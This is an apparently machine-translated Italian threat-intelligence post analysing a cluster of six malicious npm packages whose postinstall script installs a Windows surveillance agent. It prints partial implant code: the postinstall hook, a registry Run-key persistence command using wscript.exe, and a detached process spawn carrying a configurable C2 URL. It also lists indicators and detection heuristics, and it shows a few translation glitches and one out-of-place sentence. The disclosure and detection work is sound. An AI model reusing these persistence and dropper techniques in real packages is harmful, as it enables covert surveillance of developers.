TL; DR
Tra il 1° aprile e il 3 maggio 2026, un singolo editore npm, user0001, registrato con l'indirizzo Gmail non verificato tanvisoul9@gmail.com, hanno lanciato silenziosamente sei pacchetti con nomi volutamente anonimi, che richiamano le infrastrutture: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimee node-env-resolve.
Le ultime due versioni di node-env-resolveLe versioni 1.0.7 e 1.0.8 sono state segnalate come dannose dal sistema di allerta precoce antimalware (MEW) di Xygeni il 2 maggio e confermate come tali il 3 maggio.
L'impianto è insolito per ciò che non è: non ci sono bot Telegram, né callback OAST, né offuscazionee nessun tentativo di ottenere le credenziali AWS al momento dell'installazione. Invece, postinstall.js inserisce una voce di persistenza all'avvio di Windows, utilizzando una chiave HKCU Run che avvia wscript.exe contro uno stub VBS. Quindi genera un agente Node.js separato che raggruppa moduli per l'acquisizione del microfono, il furto della cronologia del browser, gli screenshot e la simulazione di mouse e tastiera.
Chiamiamo questo gruppo DevTap, dopo il kit lascia il programma in esecuzione sulla macchina di uno sviluppatore.
Al momento della stesura di questo documento, tutti e sei i pacchetti erano disponibili su npm. Li abbiamo segnalati al canale di segnalazione abusi del registro. Gli amministratori dovrebbero rimuovere tutte le installazioni dal sito del produttore in attesa della rimozione definitiva.
Il Cluster: sei pacchetti, un unico editore.
L'account dell'editore user0001 non è verificato. Non ha SCM verifica, nessuna email associata a un dominio e nessuna cronologia precedente. L'handle Gmail tanvisoul9 non compare in nessun altro record di editori npm che siamo riusciti a trovare.
Tutti e sei i pacchetti elencano lo stesso manutentore, sono stati pubblicati dallo stesso account e condividono lo stesso package.json testo standard. Non c'è repositoryA homepagee no description più lunga di una singola riga.
La strategia di denominazione è la parte interessante. A differenza di una classica campagna di confusione delle dipendenze o typosquat, nessuno di questi nomi prende di mira una specifica libreria a monte. Invece, sono calibrati per scomparire in un vero package.json or npm ls produzione.
| CONFEZIONE | Prima pubblicazione | L'ultima versione | versioni | Ruolo nel cluster |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, da 1.0.5 a 1.0.9 | Copertina dell'“utilità di registrazione” del cluster; prima pubblicazione |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Copertura generica di DOM-helper |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Emula la famiglia node-fetch |
| agente connettore | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Nome generico “agente” |
| runtime di node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Emula gli strumenti di compilazione dei moduli nativi |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, da 1.0.0 a 1.0.9 | Contagocce attivo; impianto completo |
Nomi come centralogger, node-fetch-litee node-gyp-runtime Sono progettati per apparire incontestabili durante la revisione del codice. Sembrano elementi che sarebbero già presenti nell'albero delle dipendenze di un progetto.
In combinazione con un editore nuovo e non verificato e collegamenti al repository mancanti, formano uno schema riconoscibile: un attore che inserisce nomi a basso attrito nel registro, quindi itera rapidamente su quello che conta. In questo caso, node-env-resolve Ho ricevuto dieci versioni in otto giorni.
Cosa finisce su una macchina di sviluppo Windows
La catena malevola su node-env-resolve:1.0.8 è breve, diretto e insolitamente ricco di funzionalità per un RAT di npm.
Postinstallazione: Persistenza e agente distaccato
package.json dichiara un singolo hook di installazione:
{ "scripts": { "postinstall": "node postinstall.js" } }
postinstall.js Fa tre cose in quest'ordine.
Innanzitutto, prepara una directory di installazione al di fuori dell'albero npm. Il percorso viene calcolato in fase di esecuzione nello script come INSTALL_DIR. Quindi esegue un interno execSync('npm install --production --silent ...') al suo interno per estrarre le dipendenze di runtime dell'impianto. Questo mette l'agente su disco da qualche parte manualmente node_modules L'audit non lo troverà.
In secondo luogo, crea un programma di avvio VBS e lo registra per la persistenza all'avvio:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \
/v ${AGENT_NAME} \
/t REG_SZ \
/d "wscript.exe \"${vbsPath}\"" /f
wscript.exe è Windows Script Host, un binario Microsoft firmato che viene eseguito .vbs file senza una finestra della console. Questo è precisEcco perché è preferito per gli stub di autorun.
C'è anche un abbinamento reg delete percorso interno src/index.js, il che suggerisce che l'impianto è progettato per essere rimosso in modo pulito su comando dell'operatore.
In terzo luogo, genera un processo figlio separato:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {
detached: true,
env: { ...process.env, SERVER_URL }
})
Due dettagli sono importanti in questo caso.
SERVER_URL viene letto dall'ambiente. Di conseguenza, l'endpoint C2 è configurabile per ogni implementazione e non è integrato nel pacchetto. Questa piccola ma intenzionale scelta neutralizza la maggior parte delle scansioni statiche di IOC.
Inoltre, il figlio generato eredita l'intero ambiente del genitore. Pertanto, qualsiasi NPM_TOKEN, AWS_*, GITHUB_TOKEN, oppure il socket dell'agente SSH presente nella shell dello sviluppatore al momento dell'installazione viene trasferito nella memoria dell'agente a lunga durata.
Cosa spedisce l'agente
Il raggruppato src/ L'albero comprende tre moduli i cui nomi, da soli, ne raccontano la storia: audioCapture.js, browserHistory.jse systemInfo.js.
L'elenco delle dipendenze di runtime, risolto durante la fase di staging npm install, li conferma.
Questo approccio trasforma un incidente caotico in una risposta controllata.
Invece di reagire alla cieca, i team operano con Definizione chiara delle priorità e risoluzione rapida dei problemi.
| Dipendenza | A cosa serve in questo contesto |
|---|---|
| schermata-desktop | Acquisizione periodica dello schermo |
| @nut-tree-fork/nut-js | Automazione/simulazione dell'input di mouse e tastiera |
| migliore-sqlite3 | Lettura diretta dei database SQLite della cronologia di Chrome, Edge e Firefox. |
| adm-zip | Raggruppamento dei manufatti raccolti prima dell'esfiltrazione |
| affilato | Ridimensionamento/compressione di screenshot e artefatti dell'immagine |
| socket.io-client | Canale C2 bidirezionale persistente |
| ID macchina nodo | Impronta digitale stabile per host per il tracciamento delle vittime |
systemInfo.js chiamate os.networkInterfaces() per un'ulteriore rilevazione delle impronte digitali prima del primo segnalatore.
Perché la cattura audio è il segnale più importante
La maggior parte dei RAT npm che analizziamo in MEW si fermano al furto di segreti in fase di installazione. Leggono ~/.npmrc, Leggere ~/.aws/credentials, raschiare process.envInvia una richiesta POST a un webhook ed esci. Questo si adatta a un modello economico di tipo "smash-and-grab" (ruba e ruba). Le credenziali hanno una breve durata e l'attaccante ha bisogno di monetizzare rapidamente.
node-env-resolve ha una forma diversa.
La persistenza è configurata per sopravvivere al riavvio. L'agente viene eseguito in modalità distaccata e a lunga durata. wscript.exeIl kit che include è pensato per essere installato sulla macchina di uno sviluppatore, non per essere preso e lasciato lì: un registratore di microfono, un driver per tastiera/mouse, l'acquisizione completa della cronologia del browser, la cattura dello schermo e un canale Socket.IO interattivo verso un C2 configurabile.
In particolare, l'acquisizione dell'audio dal microfono è il limite che questa campagna oltrepassa, a differenza della maggior parte dei malware npm.
La postazione di lavoro di uno sviluppatore è, sempre più spesso, anche la postazione in cui gli sviluppatori tengono riunioni quotidiane, chiamate con i clienti, discussioni di progettazione e turni di reperibilità. Un dispositivo impiantabile che registra il microfono non è realmente interessato al token npm dello sviluppatore, bensì a ciò che lo sviluppatore dice davanti al portatile.
Questa serie di funzionalità, unita alla mancanza di offuscamento e all'assenza di esfiltrazioni di dati appariscenti al momento dell'installazione, fa pensare a un posizionamento strategico per l'accesso mirato piuttosto che a un furto opportunistico di credenziali.
Non stiamo attribuendo la responsabilità solo da questo. Stiamo prendendo atto del profilo operativo.
La cadenza di iterazione di otto giorni su node-env-resolve è il dettaglio più rilevante dal punto di vista operativo nella cronologia.
Non si tratta di un'installazione "attiva e dimentica". L'editore sta attivamente mantenendo il dropper, il che di solito significa una di queste due cose: o lo sta testando in ambienti di prova prima di una distribuzione più ampia, oppure sta già ricevendo dati di telemetria sull'installazione e sta intervenendo di conseguenza.
Gli altri cinque pacchetti non hanno subito praticamente alcuna modifica dopo la loro pubblicazione iniziale. Ciò si adatta a un modello "pubblica una volta, lascia con il nome" per il cluster di supporto, mentre l'impegno degli ingegneri si concentra sul pacchetto che svolge il lavoro.
Attribuzione: Piccoli indizi, nessun verdetto definitivo
Pubblico OSINT I segnali sono deboli e non li allungheremo. Ciò che è osservabile:
Il nome utente di Gmail tanvisoul9 assomiglia parzialmente a un nome proprio sud-asiatico, "Tanvi". Questo è un segnale debole. Gli handle di Gmail non sono identità e il finale soul9 è generico. Non è sicuro dedurre la geografia solo dalla parte locale di un'e-mail.
Lo stile del codice è nella norma per Node.js: standard chiamate di libreria come os, child_process, spawne reg addNon c'è offuscamento, nessuna rotazione di stringhe e nessuna logica anti-debug. L'autore ha familiarità con le primitive del registro di sistema di Windows e l'orchestrazione dei processi figlio distaccati, ma non sembra intenzionato a ricorrere a tecniche più subdole che potrebbe plausibilmente utilizzare.
Le dipendenze sono tutte standard e ben note: screenshot-desktop, nut-js, better-sqlite3e socket.io-clientNon esiste alcun protocollo personalizzato, nessuno stack C2 creato da zero e nessun nuovo trucco di persistenza al di là di quanto riportato nei manuali. Chiave di esecuzione HKCUSi tratta di un integratore competente, non di un creatore di strumenti.
Non abbiamo trovato stringhe non in inglese, commenti incorporati, dati di localizzazione o impronte digitali del fuso orario generate dal compilatore all'interno degli artefatti pubblicati.
Abbiamo verificato la sovrapposizione del codice con le campagne precedenti che già monitoriamo, tra cui Shai Hulud, Owlevian, Buildkite e il recente heibai / claude-code-best Famiglia di cloni Anthropic-CLI. Non ne abbiamo trovato nessuno: nessun modello C2 condiviso, nessun layout di file condiviso e nessun idioma condiviso.
Ciò che non diremmo è che si tratti di un attore statale, di un gruppo noto o geograficamente legato a un paese specifico.
Il profilo operativo è coerente con quello di un piccolo team, con competenze di livello medio, che si occupa della sorveglianza delle postazioni di lavoro degli sviluppatori. È probabile che la motivazione sia di natura finanziaria, legata all'utilizzo successivo dell'accesso, ma è anche possibile che si tratti di un servizio di ricognizione offerto a un acquirente esterno.
Due punti indiretti supportano questa affermazione: evitare meccanismi di esfiltrazione che attirino l'attenzione e che brucerebbero rapidamente il cluster, come i bot di Telegram, oastify.com, o canarytokens, e i nomi dei pacchetti volutamente anonimi, che favoriscono installazioni tranquille e di lunga durata piuttosto che un breve picco di volume elevato.
Indicatori di compromissione e rilevamento
| Pacchi e spedizioni | |
|---|---|
| Settore | Valore |
| npm publisher | user0001 |
| E-mail di pubblicazione | tanvisoul9@gmail.com, indirizzo non verificato |
| personalizzati | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Confermato il comportamento dannoso | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Artefatti dell'ospite | |
|---|---|
| Tipo | Valore |
| Chiave di persistenza | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Valore di persistenza | Nome variabile; dati del tipo wscript.exe " › .vbs" |
| Installare il gancio | postinstall: node postinstall.js nel manifesto del pacchetto |
| moduli per impianti | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Elenco delle aree di allestimento | INSTALL_DIR viene risolto al di fuori della cartella node_modules del progetto; la posizione viene impostata da postinstall.js al momento dell'installazione. |
| Reti | |
|---|---|
| Tipo | Valore |
| Trasporto C2 | socket.io-client, canale bidirezionale persistente |
| Punto finale C2 | Fornito all'agente tramite la variabile d'ambiente SERVER_URL; non è codificato direttamente negli artefatti pubblicati. |
Note di rilevamento
Due regole individuano questa famiglia senza bisogno dell'endpoint C2.
Innanzitutto, contrassegna gli script postinstallazione che eseguono un interno npm install in un percorso esterno alla directory del pacchetto stesso. Qualsiasi downloader di precompilazione legittimo, come node-gyp ricostruisce o precompila i downloader binari, scrive all'interno del pacchetto o nella piattaforma-standard percorsi della cache con hash verificati. Non scrive in un percorso appena creato INSTALL_DIR altrove sul disco.
In secondo luogo, segnala gli script postinstallazione che emettono reg add HKCU\…\Run con wscript.exe come launcher. Questo non è mai legittimo da un pacchetto npm. Segnalalo e mettilo in quarantena.
Una terza euristica è utile per individuare il prossimo pacchetto fratello prima che venga confermato: un nuovo publisher npm senza SCM verifica, un indirizzo email Gmail, no repository Il campo, e molteplici nomi di pacchetti brevi, generici e dal suono infrastrutturale pubblicati a pochi giorni di distanza l'uno dall'altro, è di per sé sufficiente a giustificare una revisione manuale.
Segnalato al registro npm. Aggiorneremo questo post non appena l'account dell'editore verrà rimosso.




